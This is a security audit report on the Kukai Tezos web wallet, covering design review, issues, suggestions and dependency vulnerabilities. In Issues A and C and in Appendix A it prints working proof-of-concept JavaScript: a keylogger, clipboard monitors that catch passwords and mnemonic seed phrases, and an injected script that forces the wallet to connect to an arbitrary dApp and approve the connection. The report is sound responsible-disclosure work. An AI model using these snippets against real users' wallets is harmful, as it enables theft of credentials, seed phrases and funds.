Least Authority
PRIVACY MATTERS

Kukai Wallet

Security Audit Report

Tezos Foundation

Final Audit Report: 4 March 2022

Table of Contents

Overview

Background

Tezos Foundation requested that Least Authority perform a security audit of the Kukai wallet, a web wallet for the Tezos blockchain.

Project Dates

- **October 13 - November 10**: Code review (*Completed*)
- **November 12**: Delivery of Initial Audit Report (*Completed*)
- **March 2 - 3:** Verification (*Completed*)
- **March 4:** Delivery of Final Audit Report (*Completed*)

Review Team

- Alicia Blackett, Security Researcher and Engineer
- Justin Regele, Cryptography Researcher and Engineer
- Zoumana Cisse, Security Researcher and Engineer

Coverage

Target Code and Revision

For this audit, we performed research, investigation, and review of the Kukai wallet followed by issue reporting, along with mitigation and remediation instructions outlined in this report.

The following code repositories are considered in-scope for the review:
- Kukai Wallet: https://github.com/kukai-wallet/kukai/tree/production

Specifically, we examined the Git revisions for our initial review:

    ef36f7e5e46bf11b3f9b5ce4e78694eae94c423e

For the verification, we examined the Git revision:

    8d069d54e0db8484252941f7eee31bf8a6a9a548

For the review, this repository was cloned for use during the audit and for reference in this report:

    https://github.com/LeastAuthority/Tezos-Foundation-Kukai-Wallet

All file references in this document use Unix-style paths relative to the project's root directory.

Beacon SDK and `kukai-embed` SDK, along with decentralized applications (dApps) that are allow-listed to use `kukai-embed` SDK, are considered out of scope. In addition, any dependency and third party code, unless specifically mentioned as in-scope, were considered out of scope for this review.

Supporting Documentation

The following documentation was available to the review team:
- Developer Documentation v1.0.pdf (*shared with Least Authority via email on 12 October 2021*)
- User Documentation: https://docs.kukai.app/
- Demo dApps:

    - https://www.tezos.help/beacon-demo/
    - https://github.com/airgap-it/beacon-sdk/tree/master/examples

Areas of Concern

Our investigation focused on the following areas:

- Correctness of the implementation and adherence to best practices;
- Exposure of any critical information during user interactions with the blockchain and external libraries, including authentication mechanisms;
- Adversarial actions and other attacks that impact funds, such as the draining or the manipulation of funds;
- Mismanagement of funds via transactions;
- Vulnerabilities in the code, as well as secure interaction between the related and network components;
- Proper management of encryption and storage of private keys, including the key derivation process;
- Inappropriate permissions and excess authority;
- Data privacy, data leaking, and information integrity; and
- Anything else as identified during the initial analysis phase.

Findings

General Comments

The Kukai wallet is a web application built on the Angular framework for building single page web applications. The wallet enables users to create multiple accounts to hold and exchange FA1.2 and FA2 tokens.

We found that security has been considered in the design and implementation of the Kukai wallet, as evidenced by the appropriate use of cryptographic libraries and the adherence to security best practices in the implementation of messaging and sanitization of input data. This is further demonstrated by the use of the Angular framework for processing all represented data.

However, we identified several areas of improvement, which relate to both the system design and the coded implementation, as detailed below and outlined in the Issues and Suggestions of this report.

System Design

Our team performed a broad and comprehensive review of the Kukai wallet system design, as detailed below.

Malicious Browser Extension Vulnerability

The Kukai wallet is a Single Page Application (SPA). This design choice exposes the entire application to browser extensions. While secrets are not stored unencrypted in `localstorage`, other mechanisms of the wallet are potentially exposed to attackers in the event that a user's browser has a malicious extension installed. A malicious extension can interact directly with Angular components to enable certain features that allow it to connect the wallet to arbitrary dApps.

In contrast, a browser extension wallet, as opposed to an SPA, would provide more robust protections against malicious extensions injecting arbitrary code to interact with wallet components. As a result, we recommend that the Kukai team reconsider the security benefits and trade-offs that would result from moving the application logic into a browser extension, which would provide added protections against other extensions that are not bound by the same origin policy (Issue A).

Use of Cryptography

During our investigation, we did not identify any issues in the Kukai wallet's use of cryptography. We found that strong passwords are required by the application through the use of the `zxcvbn` library. In addition, only passwords that match the strongest rating by the library are allowed to be set to encrypt the wallet keys.

The encryption of the Kukai wallet mnemonic seed phrase and entropy utilizes a memory hard scrypt key derivation function (KDF), as well as AES-GCM for encryption, in accordance with security best practices. Since the same key is used to encrypt both the secret key and mnemonic phrase, a secondary Initialization Vector (IV) is generated, as is necessary to satisfy the security guarantees of the GCM mode.

While the current implementation does not reuse an IV, the `encrypt` function's signature would allow developers to easily and inadvertently reuse the same IV for the encryption of the seed and for encrypting the entropy. This may unintentionally introduce a vulnerability into the system. As a result, we suggest adding code comments where the intended functionality of the code is unclear to warn developers against reusing an IV for the encrypting the seed and entropy, which would add protection against future mistakes leading to vulnerabilities (Suggestion 1).

Keystore

Part of the Kukai wallet's portability is due to the use of a hexadecimal keystore, which is downloaded from the Kukai wallet website. It contains version number, wallet type, encrypted seed, encrypted entropy, and an IV. During the audit, we attempted to add malicious code to the keystore converted to hex to see if it could be stored and executed or the password bypassed by tampering with the file. Our attempts were not successful and demonstrated that the import wallet function correctly limited the range of acceptable hexadecimal input.

Messaging and Input Sanitization

While reviewing how the messaging system worked across browser tabs and whether it functions as intended, we found that it does not expose any channels that could be used to issue commands or exfiltrate data. We did not identify instances where the messaging system can be used as an attack vector for remote code execution or data exposure.

Additionally, the application uses several patterns to sanitize received JSON payloads that exceed standard protections provided by the structured clone algorithm used by the `postMessage` system. JSON objects can contain getter functions, which would allow for the execution of arbitrary code. We found that the pattern of using `JSON.parse`, and `JSON.parse(json.stringify({content}))` in cases where data was received from untrusted sources adheres to best practices, as it will remove all getter functions from the objects and neutralize any potential cross-site scripting (XSS) attacks.

Cross-Site Scripting

Our team investigated potential XSS attack vectors but did not identify any stored or reflected XSS vulnerabilities in the Kukai wallet code itself. The wallet does not handle many query parameters, but in instances where it does, the data is passed into internal services and not loaded into the page. By minimizing the use of URL parameters, the Kukai wallet's attack surface for XSS vulnerabilities has also been minimized.

We looked into whether dependency code properly handled URL parameters and did not find instances that could be leveraged to achieve XSS attacks. However, if an untrusted party was able to gain access to the codebase and add a malicious object to the git repository prior to a build, then all wallets loading that data would be vulnerable to an XSS attack. As a result, we suggest serializing vetted data to prevent the execution of arbitrary code (Suggestion 5).

Meta Data

Our team considered the possibility that a staking API has been compromised and is providing malicious data to the Kukai wallet's staking display, but did not identify instances where the wallet improperly deserializes all data and unsafely encodes it in the page. Additionally, we looked at whether malicious NFTs could achieve code execution inside the wallet, which could result in the loss of funds. We did not identify instances where the data is incorrectly handled by Angular's templating system, which aims to protect against code injection and DOM breakouts.

In the event that a malicious SVG file is uploaded in an NFT, the external image file is uploaded to a different domain than the wallet. In the event that an unsuspecting user opens the SVG directly in a browser, the executed code would be on the Kukai backend subdomain instead of executing in the wallets domain, thus preventing XSS attacks.

Our team encountered some difficulty in testing how malicious NFTs are displayed in the wallet, particularly in overcoming obstacles in constructing a system that was able to load arbitrary data into the NFT displays. As a result, we suggest better tooling for minting NFTs, which would aid security auditing teams during future security audits (Suggestion 11).

Interaction with Beacon SDK

While the Beacon SDK was considered out of scope for this security audit, we examined the interaction of the wallet and the Beacon SDK service, in addition to the conditions under which the Kukai wallet will connect to a dApp. We identified a scenario where the Beacon SDK system could be abused, by which a user has a malicious extension installed in their browser. In this scenario, the wallet is vulnerable to being attached to arbitrary dApps without user interaction, for which we recommend that the suggested mitigation and remediation be explored further (Issue A).

Ledger Integration

We investigated the Kukai wallet's interaction with the Ledger hardware wallet. Although we did not identify any security vulnerabilities introduced by this interaction, the Ledger hardware is considered an external entity and, as a result, data incoming from the Ledger hardware should not be implicitly trusted. We recommend that incoming data be sanitized through serialization and deserialization as a fail safe, to avoid potential malicious code entering the wallet from an external entity (Suggestion 10).

Code Quality

The Kukai wallet codebase is well organized into services and components folders and adheres to development best practices. However, we identified instances that would benefit from the use of enumerators (ENUMs) to make the intention of the code more clear to both security auditors and maintainers of the implementation (Suggestion 3).

Tests

The Kukai wallet implements a test suite consisting of a total of 105 tests that provides sufficient coverage of the services folder in the repository. However, we found that the components folder in the repository implements insufficient test coverage. The files in the components folder are equally critical to the security of the wallet as those in the services folder. As a result, we recommend that the test suite be expanded to provide coverage of the components folder. In addition, we recommend improving the test coverage by testing NFT displays in the wallet application, the embedded flow, and the Ledger hardware wallet flow (Suggestion 7).

A robust test suite includes sufficient test coverage for success and failure cases and aids in identifying potential edge cases. In addition, tests help protect against errors and bugs, which may lead to vulnerabilities or exploits.

Documentation

The Kukai team provided helpful high-level user and developer documentation that highlights each of the system components and describes the interactions between the components. In addition, the documentation outlines interactions with Tezos nodes and authorized dApps, key management system parameters, and the use of potentially problematic dependencies. However, we recommend improving the documentation to provide a greater level of detail for the areas described, in addition to providing clear instructions on how to set up the test network (Suggestion 4).

In addition, the user guide provides clear and valuable security guidance to the user. However, these documents are not linked from the wallet itself and require a user to search for the information manually. We recommend that the security warnings be included in the wallet, particularly relating to handling the mnemonic, the dangers of using the clipboard, and the dangers of malicious browser extensions. Providing users with clear instructions on how to use the wallet in accordance with security best practices will minimize the potential for user error leading to security vulnerabilities and loss of funds (Issue C).

Code Comments

The Kukai wallet codebase contains logical naming conventions for variables and functions, which aid in explaining the intended functionality of each component. However, we found numerous instances where there are no code comments describing the code's intended behavior. We recommend expanding code comments to describe the intended behavior of each function and component (Suggestion 4). In addition, we identified specific instances for which we suggest improving the code comments, which would contribute to the overall security of the wallet (Suggestion 1; Suggestion 2).

Scope

The in-scope repository was sufficient and included all the security critical components of the Kukai wallet.

Use of Dependencies

Our team performed an `npm audit` of the Kukai wallet and identified five high severity and two moderate severity vulnerabilities (Suggestion 8). Most of these vulnerabilities can be addressed by upgrading dependency versions. However, the Kukai wallet also utilizes dependencies that introduce vulnerabilities that currently have no known mitigation. The Kukai team has informed us that they are aware of these vulnerabilities and intend to resolve them pending an upgrade of the Angular version used by the wallet. We provide a comprehensive report of `npm audit` findings in Appendix B.

Specific Issues & Suggestions

We list the issues and suggestions found during the review, in the order we reported them. In most cases, remediation of an issue is preferable, but mitigation is suggested as another option for cases where a trade-off could be required.

ISSUE / SUGGESTION	STATUS
Issue A: Same Origin Policy Does Not Protect Against Malicious Extensions	Partially Resolved
Issue B: Wallet is Vulnerable to UI Redressing Attacks	Resolved

Issue C: Mnemonic Seed Exposed to Clipboard	Partially Resolved
Suggestion 1: Add Comment for Continued Safe Use of Encryption Function	Resolved
Suggestion 2: Update Outdated Code Comment	Resolved
Suggestion 3: Use ENUM to Make Code Intention More Clear	Resolved
Suggestion 4: Improve Documentation	Unresolved
Suggestion 5: Serialize Vetted Data	Resolved
Suggestion 6: Improve Use of Hash Function	Resolved
Suggestion 7: Improve Test Coverage	Unresolved
Suggestion 8: Address npm audit Results	Partially Resolved
Suggestion 9: Add a Generic Security Message On Kukai Website to Warn Customers of Social Engineering Attacks	Unresolved
Suggestion 10: Sanitize Incoming Data from Ledger	Resolved
Suggestion 11: Develop Tooling for Minting NFTs	Unresolved

Issue A: Same Origin Policy Does Not Protect Against Malicious Extensions

Synopsis

The design choice to use a web page rather than a browser extension results in a range of vulnerabilities that arise from a browser extension's extensive privileges to execute arbitrary code inside the Kukai wallet. This allows extensions to interact with wallet components and force them to behave in insecure and unintended ways.

Impact

The following unexpected behaviors were identified during the course of the audit (non-exhaustive list):

Write Arbitrary Domains to `ALLOWED_EMBED_ORIGINS`

This allows extensions to embed the wallet in web pages that have not been approved as safe for use. This could result in untrusted domains being able to embed the wallet.

Connect to Arbitrary dApps

Browser extensions can break into the Angular sandbox and enable development mode features on components to connect to arbitrary dApps without user interaction. This would result in an attacker being able to remotely interact with the wallet. In order to approve transactions, the attackers would need to learn the password from the wallet, which can be learned through keylogging or monitoring the clipboard.

Injecting Keyloggers and Clipboard Listeners

This could result in the exposure of passwords and mnemonics.

Preconditions

A user's browser must already be in a post-compromised state by having a malicious extension installed.

Technical Details

Writing Arbitrary Domains to `ALLOWED_EMBED_ORIGINS`

The `ALLOWED_EMBED_ORIGINS` ([`environment.prod.ts`]) is used as an allow-list for whether a domain is authorized to host an embedded wallet. This array is read-write, which means an attacker can disable the restriction by injecting the following code:

```
document.getElementsByTagName('app-root')[0].__ngContext__[30].CONSTANTS
.ALLOWED_EMBED_ORIGINS.push('*')
```

Connecting to Arbitrary dApps

The text input in the `app-qr-scanner` component is removed from the DOM when in a production environment using an `ng-if`. A malicious extension can disable the production environment variable for this component and dispatch a paste event to the input to initiate a connection to an arbitrary dApp.

```
root = document.getElementsByTagName('app-root')[0]

qr = root.children[3].children[2].children[0].__ngContext__[13]

qr[8].env.production = false
```

Full exploit code can be found in Appendix A.

Injecting Key Loggers and Clipboard Listeners

JavaScript can listen for keypress events and act as a keylogger.

```
keys='';

document.onkeypress = function(e) {

  get = window.event ? event : e;

  key = get.keyCode ? get.keyCode : get.charCode;

  key = String.fromCharCode(key);

  keys += key;

  console.warn(keys);

}
```

Injecting a Callback to Compromise Password

A callback function can also be injected that would read the clipboard repeatedly listening for pasted passwords. This would result in the extension learning the password required to decrypt the wallet.

```
chk_cp = setInterval(() => {navigator.clipboard.readText().then(txt =>
alert(txt))}, 5000);
```

Mitigation

We recommend explicitly disclosing to users in the user documentation the danger of using the wallet in browsers with untrusted browser extensions installed (See Issue C).

Remediation

We recommend migrating the wallet functionality into a browser extension to provide a safeguard against malicious browser extensions injecting arbitrary code.

Status

The Kukai team has added an advisory to the user guide that informs users of the dangers of running the wallet in a browser with untrusted browser extensions.

Verification

Partially Resolved.

Issue B: Wallet is Vulnerable to UI Redressing Attacks

Synopsis

The Kukai wallet does not protect against loading the application inside an iframe. This exposes the wallet to a class of attacks known as UI Redressing attacks (also referred to as Clickjacking), where a malicious website will load the target website in a hidden iframe and get a user to perform actions on the target website without their knowledge through social engineering.

Impact

If an attack is successful, a user could be tricked into sending all their funds to an attacker controlled address.

Feasibility

Connecting the wallet to a dApp or authorizing a transaction would require a level of user interaction that is unlikely to succeed. A user would be required to enter the value of the attacker's address into the fake form, as well as enter their password to verify the transaction. In practice, successfully engineering such a flow would be prohibitively difficult for an attacker to achieve.

Remediation

The Kukai team discussed using Cloudflare for delivering the application to users and requested suggestions on appropriate security headers. The `X-FRAME-OPTIONS` HTTP header, when set to `SAME-ORIGIN` or `DENY`, will block all attempts to frame the application. However, this approach will likely break the Kukai wallet embedded functionality.

We recommend using a Content Security Policy (CSP) and setting the frame-ancestors to the pre-approved domains allowed to embed Kukai, as found in the ALLOWED_EMBED_ORIGINS array.

Status

The Kukai team has added a CSP in the HTTP header that restricts the domains that can embed the wallet to only domains approved by the Kukai team. In the development environment, the headers are not loaded by the development web server, so we were not able to confirm the issue has been resolved in the production server version. However, if loaded by the production servers, the presence of the header file will restrict which domains can embed the wallet application.

Verification

Resolved.

Issue C: Mnemonic Seed Exposed to Clipboard

Synopsis

It is possible to copy the mnemonic seed to the clipboard. The clipboard object is accessible globally and could be monitored by other loaded web pages and browser extensions. This could lead to a leakage of the seed phrase required to control the Kukai wallet.

Impact

The mnemonic seed could be exposed to malicious actors resulting in loss of user control of the Kukai wallet.

Preconditions

A user must have copied the freshly created mnemonic to the clipboard while another tab is running a script to watch the clipboard for mnemonic seed phrases. This script could be from a malicious page, extension, or JavaScript loaded through an advertising network.

Feasibility

Although the attack script is trivial, the complexity of the attack is determined by the delivery mechanism and the timing. However, it is reasonable that an attacker could monitor multiple clipboards (machines) for extended periods of time, and capture mnemonic phrases that are created and copied on these compromised machines using any wallet that enables the clipboard feature.

Technical Details

A mnemonic monitoring script can be created with the following lines of JavaScript:

```
function handleCB(txt) {

    var words = txt.split(/\s+/);

    if (words.length === 12 || words.length === 24) {

        alert(txt);

        clearInterval(chk_cp);

    }

}

chk_cp = setInterval(() => {navigator.clipboard.readText().then(txt =>
handleCB(txt))}, 5000);
```

Mitigation

We recommend that the Kukai wallet user guide be updated to provide guidance on security best practices for managing and storing the mnemonic phrase. This includes advisories on the dangers of copying the mnemonic to the clipboard in the application when the seed phrase is generated, which helps users make more informed decisions about the security of their assets.

Remediation

The Kukai wallet user guide recommends writing down the seed phrase and not storing it electronically. This is the most secure method of storage. Since users have repeatedly requested a means to save the seed phrase electronically, we recommend the mnemonic phrase be provided as a file download from the application. This option provides users with a more seamless experience while reducing the exposure of the mnemonic phrase, given that the filesystem is generally more secure than the clipboard. This is already possible when downloading the wallet file.

We recommend employing a similar method to download the mnemonic. This would allow users to retrieve their mnemonic without potentially exposing it to monitoring scripts.

Status

The Kukai team has implemented a strong warning to users selecting the mnemonic seed phrase for the purposes of copying it to the clipboard. The warning states the risks of using the clipboard to store the mnemonic. Our team built the wallet and attempted to copy the mnemonic to the clipboard. While copying is still possible, the warning message is clear and explicit and better facilities user decision making and discourages user misuse.

Verification

Partially Resolved.

Suggestions

Suggestion 1: Add Comment for Continued Safe Use of Encryption Function

Location

`services/wallet/wallet.service.ts#L57-L66`

Synopsis

The Kukai wallet uses AES-GCM for encrypting both `encryptedSeed` and `encryptedEntropy`. The `bumpIV` function checks that the same IV is not used twice for the same key, which would break the security guarantees of AES-GCM.

The `encryptionService.encrypt` function can handle encrypting with different IVs because it takes an optional IV as the fourth parameter. When the IV parameter is omitted, a random one is generated. While the current implementation does not reuse an IV, the encrypt functions signature would allow developers to make a mistake and easily reuse the same IV for the encryption of the seed on L57 and for encrypting the entropy on L65-L69.

Adding comments that warn developers against omitting an IV for the initial encryption of the seed would add protection against future mistakes, where the intended functionality of the code is unclear.

Mitigation

We recommend adding comments to the encryption calls in the Kukai wallet service's `createEncryptedWallet` function, to instruct future developers of the safe use of the `encryptionService.encrypt` function's parameters.

Status

The Kukai team has implemented a warning in the code to remind future developers not to reuse the IV. We inspected relevant code and found the comment clearly written in a way that would signal importance to the developers.

Verification

Resolved.

Suggestion 2: Update Outdated Code Comment

Location

`components/uri-handler/uri-handler.component.ts#L69`

Synopsis

The Kukai wallet codebase contains a comment that includes a dead link to Beacon SDK documentation.

Mitigation

We recommend updating the code comment with the correct link in the code to avoid confusion by maintainers and security auditors of the code.

Status

The Kukai team has updated the code comment as suggested.

Verification

Resolved.

Suggestion 3: Use ENUM to Make Code Intention More Clear

Location

`services/estimate/estimate.service.ts#L44`

`services/import/import.service.ts#L36`

`services/indexer/signal/signal.service.ts#L57-L59`

Synopsis

The Kukai wallet uses numeric values for determining state that are unclear to security auditors unfamiliar with the assumptions or structure of the data. The use of ENUMs would provide clarity to security auditors and assist in the process of understanding the intended functionality of the code.

Mitigation

We recommend implementing ENUMs where numeric literals are used.

Status

The Kukai team has replaced integers with ENUMs in the specified locations.

Verification

Resolved.

Suggestion 4: Improve Documentation

Location

[Supporting Documentation]

Synopsis

The availability of comprehensive documentation outlining the system and interactions between the components is helpful for end users who want to learn more about the Kukai wallet, developers integrating it into their projects, and security auditors assessing the system for security vulnerabilities.

Project Documentation

The existing documentation explains at a high-level how the different system components interact by providing details on the general architecture and some of the technical concerns. However, the documentation is missing more nuanced details on the implementation of each of the components and how dApps are expected to communicate with the wallet.

Code Comments

The Kukai wallet codebase contains minimal code comments. Documentation within the codebase is critical for developers and security auditors, as it defines and explains the purpose of modules and classes. Furthermore, code comments highlight which areas are vulnerable to potential failure, which is critical in checking that the system is correctly implemented.

Mitigation

Project Documentation

We recommend the following improvements to the project documentation:

- Expand the high-level system design documentation so that it is user-friendly and provides more specific details about the intended functionality of all wallet components, in addition to the wallet's interaction with all external components;
- Document the wallet's integration with dApps and what functionality this offers dApps; and
- Document the Beacon SDK's functionality to a sufficient depth to facilitate the assessment of the security properties of the Kukai wallet, which includes links to a guide on how to get started with the Beacon SDK.

Code Comments

We recommend expanding code comments to include all functions and components in the codebase.

Status

The Kukai team has responded that they intend to continue to improve the project documentation and increase code comments in the future.

Verification

Unresolved.

Suggestion 5: Serialize Vetted Data

Location

`environments/environment.prod.ts`

Synopsis

The way in which the Kukai wallet's asset-component handles objects is vulnerable to remote code execution in the case where vetted data has been compromised. Objects stored in the `environment.prod.ts` file are JSON objects, therefore, there is no serialization or deserialization that occurs between the creation of the object and its consumption by the Kukai wallet. As a result, an object with getter functions can be created that will cause the execution of arbitrary code, similar to XSS, when using the wallet.

The severity of this issue is significantly reduced because all data is properly vetted by the Kukai team. All data is added as a pull request, and is reviewed by the team before it is merged into the repository However, if a pull request is able to be merged without review or if an untrusted party was able to add a malicious object to the git repository prior to a build, then all wallets loading that data would be compromised. A necessary precondition for this attack is access by a malicious party to the wallet repository itself, which if satisfied, could expose the wallet to severe and exploitable security vulnerabilities that do not require code injection to achieve.

Mitigation

A common pattern within the Kukai wallet codebase is to sanitize JSON objects by serializing and deserializing the data by chaining calls to `JSON.stringify` to `JSON.parse`. We recommend extending this pattern to the objects in `CONSTANTS.CONTRACT_ALIASES` and `CONSTANTS.ASSETS`, which would prevent the execution of arbitrary code.

Status

The Kukai team has implemented serialization and deserialization on all data in the `environment.prod.ts` file before exporting.

Verification

Resolved.

Suggestion 6: Improve Use of Hash Function

Location

[`services/indexer/tzkt/tzkt.service.ts#L79`]

Synopsis

The MD5 hash function is used to hash account data to be stored in the account state. MD5 has known issues and is considered to have insufficient collision resistance. As a result, it is not appropriate to use MD5 when requiring an output of a unique hash for a given input. A collision, whereby two unique inputs result in the same output hash, could cause unintended behavior of the Kukai wallet.

Additionally, the pre-image for the hash could be corrupted by improper encoding. On L78 of `tzkt.service.ts`, the hash pre-image is created using `Buffer.from(payload)`. The `payload` has been verified to be an unencoded string. However, this pre-image is then passed to crypto-browserify's `update` function with an encoding of base64 on L79. The update function takes an encoding as a second parameter and creates a new buffer object with that encoding, as seen in the following code:

```
HashBase.prototype.update = function (data, encoding) {

…

  if (!Buffer.isBuffer(data)) data = Buffer.from(data, encoding)
```

This demonstrates that the buffer used by the hash function interprets the data as base64 encoded when, in fact, it is not. This may result in corruption of the MD5 hash pre-image.

Remediation

We recommend that the incorrect encoding from the hash `update` function be removed and that the MD5 hash function be replaced with a more collision resistant hash function. `Crypto-browserify` supports SHA-256 hashes, which provide better collision resistance with minimal changes to the code.

Status

The Kukai team has replaced the MD5 hash function with a SHA-512 hash function. Additionally, the base64 encoding has been removed so as not to corrupt the pre-image.

Verification

Resolved.

Suggestion 7: Improve Test Coverage

Location

`src/test.ts`

Synopsis

The Kukai team has developed extensive test coverage for the functionality of the wallet, which is implemented in the services folder of the repository. However, there is no test coverage for the components folder of the system, which is critical to the security of the wallet and must have appropriate coverage. Of particular importance, there are no tests implemented for NFT displays, embedded functionality, or Ledger hardware wallet data flow. As a result, there are no checks in place to determine if these components and functionalities behave as expected.

Mitigation

We recommend expanding test coverage to the components folder, including the following items:

- The NFT displays in the wallet application;
- The embedded functionality and data flow; and
- The Ledger hardware wallet integration and data flow.

Status

The Kukai team has responded that they intend to continue to improve the test coverage in the future.

Verification

Unresolved.

Suggestion 8: Address npm audit Results

Location

Appendix B

Synopsis

Our team ran `npm audit`, which reported five high severity and two moderate severity vulnerabilities. Most of the vulnerabilities are caused by the Angular version currently being used.

However, one of the high severity vulnerabilities in the `npm audit` results has no known mitigation or remediation at the present time. If an attacker provides a malicious string in the current version of Ansi-html (CVE-2021-23424), it will process the input for a prolonged period of time.

The vulnerabilities identified by executing `npm audit` are provided in Appendix B.

Mitigation

We recommend addressing and resolving the `npm audit` results with known mitigations. The Kukai team acknowledged the `npm audit` findings and have stated their intent to resolve the issues by upgrading to an upcoming version of Angular used by the wallet.

For the vulnerability with no known mitigation, we recommend that the Kukai team continue to explore solutions for resolving the vulnerability.

Status

The Kukai team has addressed most of the `npm audit` results, however, a new high severity vulnerability has been introduced in the `url-parse` package, which requires running `npm audit fix` to resolve. Once fixed, a moderate vulnerability remains in `ansi-regex`.

Verification

Partially Resolved.

Suggestion 9: Warn Users of Social Engineering Attacks

Location

`https://wallet.kukai.app/`

Synopsis

The Kukai wallet is hosted on a website with `.app` as the Top Level Domain (TLD). Some users may not be familiar with this TLD and could be susceptible to social engineering attacks. The domain name `kukai.com` is registered outside of the Kukai organization, which could facilitate a potential social engineering attack against users that may trust the `.com` TLD as a result of familiarity.

Mitigation

We recommend creating a generic message on the `.app` website informing and warning users that Kukai will never need to contact them to ask for information, such as a password or private key.

Status

The Kukai team responded that a security tutorial for the wallet landing site is planned for future implementation.

Verification

Unresolved.

Suggestion 10: Sanitize Incoming Data from Ledger

Location

`services/ledger/ledger.service.ts#L51-L60`

Synopsis
Data arriving in the wallet from the Ledger hardware device is treated as trusted even though it is arriving from an external service. In the event that the Ledger service or device has been compromised, or a threat actor is intercepting requests, the data arriving into the wallet may be malicious. In particular, if the JSON object has replaced object attributes with getter functions, they would execute arbitrary code when the attributes are accessed.

Mitigation
We recommend serializing and deserializing all data arriving into the wallet from the Ledger hardware device using `JSON.stringify()` and `JSON.parse()`.

Status
The Kukai team has implemented a `sanitize` function within the Ledger service that sanitizes incoming data from the external device.

Verification
Resolved.

Suggestion 11: Develop Tooling for Minting NFTs

Synopsis
In order to test the Kukai wallet's handling of arbitrary NFT metadata, custom proxy software had to be developed, which resulted in inefficiencies during the security audit. The security auditing process would have been greatly assisted by tooling for minting NFTs.

Mitigation
We recommend that the Kukai team develop tooling for minting NFTs. While the Kukai team is actively working on tooling, it was not completed in time for this review.

Status
The Kukai team responded that cooperation with other teams in the ecosystem is planned to develop tooling for minting NFTs.

Verification
Unresolved.

Appendix A: Malicious Extension Connecting to Arbitrary dApp Exploit

The following code must be injected into the Kukai wallet application by a malicious extension. It is not sufficient to execute the code using `chrome.tabs.executeScript`, as the `__ngContext__` object will not be available.

```
document.getElementsByClassName('button icon settings')[0].click()

dataTransfer = new DataTransfer();

// you'll need to change this string to the one for your own dApp

dataTransfer.setData('text/plain', 'THE QR CODE STRING FROM THE dApp
HERE');

evt = new Event('paste');

evt.clipboardData = dataTransfer;

wait = null;

modal = function() {

  if(document.getElementsByTagName('button').length >0) {

    root = document.getElementsByTagName('app-root')[0]

    qr = root.children[3].children[2].children[0].__ngContext__[13]

    qr[8].env.production = false

    document.getElementsByTagName('button')[1].click();

    wait = setTimeout(request, 1000);

  }

}

request = function() {

  if(document.getElementsByTagName('input').length > 0) {

    document.getElementsByTagName('input')[0].dispatchEvent(evt);

    qr[8].env.production = true

    wait = setInterval(approve, 5000);

  }

  console.log(document.getElementsByTagName('input'));

}
```

```
approve = function() {
  if(document.getElementsByClassName("blue confirm").length > 0) {
    document.getElementsByClassName("blue confirm")[0].click();
    clearInterval(wait);
  }
}
wait = setTimeout(modal, 1000);
```

Appendix B: npmaudit Results

5 High severity vulnerabilities

- The current version of the set-value npm package (CVE-2021-23440) is vulnerable to type confusion which allows a bypass to a critical severity CVE-2019-10747. This can be solved by upgrading to version 4.0.1.
- The current version of Ansi-html (CVE-2021-23424) is vulnerable. If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time. There are currently no fixes for this vulnerability.
- The current version of Axios (CVE-2021-3749) is vulnerable to Inefficient Regular Expression Complexity. This vulnerability can be averted by upgrading to version 0.21.2.
- The current version of Glob-parent (CVE-2020-28469) allows a Regular Expression Denial of Service. This vulnerability can be averted by upgrading to version 5.1.2.
- The current version of Ua-parser-js (CVE-2020-7733) is vulnerable to Regular Expression Denial of Service. This vulnerability can be averted by upgrading to version 0.7.22.

2 Moderate Severity Vulnerabilities

- The current version of nth-check (CVE-2021-3803) is vulnerable to Inefficient Regular Expression Complexity and can be averted by upgrading to version 2.0.1.
- The current version of postcss (CVE-2021-23368) is vulnerable to Regular Expression Denial of Service during source map parsing. This can be averted by upgrading to version 7.0.36.

About Least Authority

We believe that people have a fundamental right to privacy and that the use of secure solutions enables people to more freely use the Internet and other connected technologies. We provide security consulting services to help others make their solutions more resistant to unauthorized access to data and unintended manipulation of the system. We support teams from the design phase through the production launch and after.

The Least Authority team has skills for reviewing code in C, C++, Python, Haskell, Rust, Node.js, Solidity, Go, and JavaScript for common security vulnerabilities and specific attack vectors. The team has reviewed implementations of cryptographic protocols and distributed system architecture, including in cryptocurrency, blockchains, payments, and smart contracts. Additionally, the team can utilize various tools to scan code and networks and build custom tools as necessary.

Least Authority was formed in 2011 to create and further empower freedom-compatible technologies. We moved the company to Berlin in 2016 and continue to expand our efforts. Although we are a small team, we believe that we can have a significant impact on the world by being transparent and open about the work we do.

For more information about our security consulting, please visit https://leastauthority.com/security-consulting/.

Our Methodology

We like to work with a transparent process and make our reviews a collaborative effort. The goals of our security audits are to improve the quality of systems we review and aim for sufficient remediation to help protect users. The following is the methodology we use in our security audit process.

Manual Code Review

In manually reviewing all of the code, we look for any potential issues with code logic, error handling, protocol and header parsing, cryptographic errors, and random number generators. We also watch for areas where more defensive programming could reduce the risk of future mistakes and speed up future audits. Although our primary focus is on the in-scope code, we examine dependency code and behavior when it is relevant to a particular line of investigation.

Vulnerability Analysis

Our audit techniques included manual code analysis, user interface interaction, and whitebox penetration testing. We look at the project's web site to get a high-level understanding of what functionality the software under review provides. We then meet with the developers to gain an appreciation of their vision of the software. We install and use the relevant software, exploring the user interactions and roles. While we do this, we brainstorm threat models and attack surfaces. We read design documentation, review other audit results, search for similar projects, examine source code dependencies, skim open issue tickets, and generally investigate details other than the implementation. We hypothesize what vulnerabilities may be present, creating Issue entries, and for each we follow the following Issue Investigation and Remediation process.

Documenting Results

We follow a conservative, transparent process for analyzing potential security vulnerabilities and seeing them through successful remediation. Whenever a potential issue is discovered, we immediately create an Issue entry for it in this document, even though we have not yet verified the feasibility and impact of the issue. This process is conservative because we document our suspicions early even if they are later shown to not represent exploitable vulnerabilities. We generally follow a process of first documenting the suspicion with unresolved questions, then confirming the issue through code analysis, live experimentation, or automated tests. Code analysis is the most tentative, and we strive to provide test code, log captures, or screenshots demonstrating our confirmation. After this we analyze the feasibility of an attack in a live system.

Suggested Solutions

We search for immediate mitigations that live deployments can take, and finally we suggest the requirements for remediation engineering for future releases. The mitigation and remediation recommendations should be scrutinized by the developers and deployment engineers, and successful mitigation and remediation is an ongoing collaborative process after we deliver our report, and before the details are made public.

Responsible Disclosure

Before our report or any details about our findings and suggested solutions are made public, we like to work with your team to find reasonable outcomes that can be addressed as soon as possible without an overly negative impact on pre-existing plans. Although the handling of issues must be done on a case-by-case basis, we always like to agree on a timeline for resolution that balances the impact on the users and the needs of your project team. We take this agreed timeline into account before publishing any reports to avoid the necessity for full disclosure.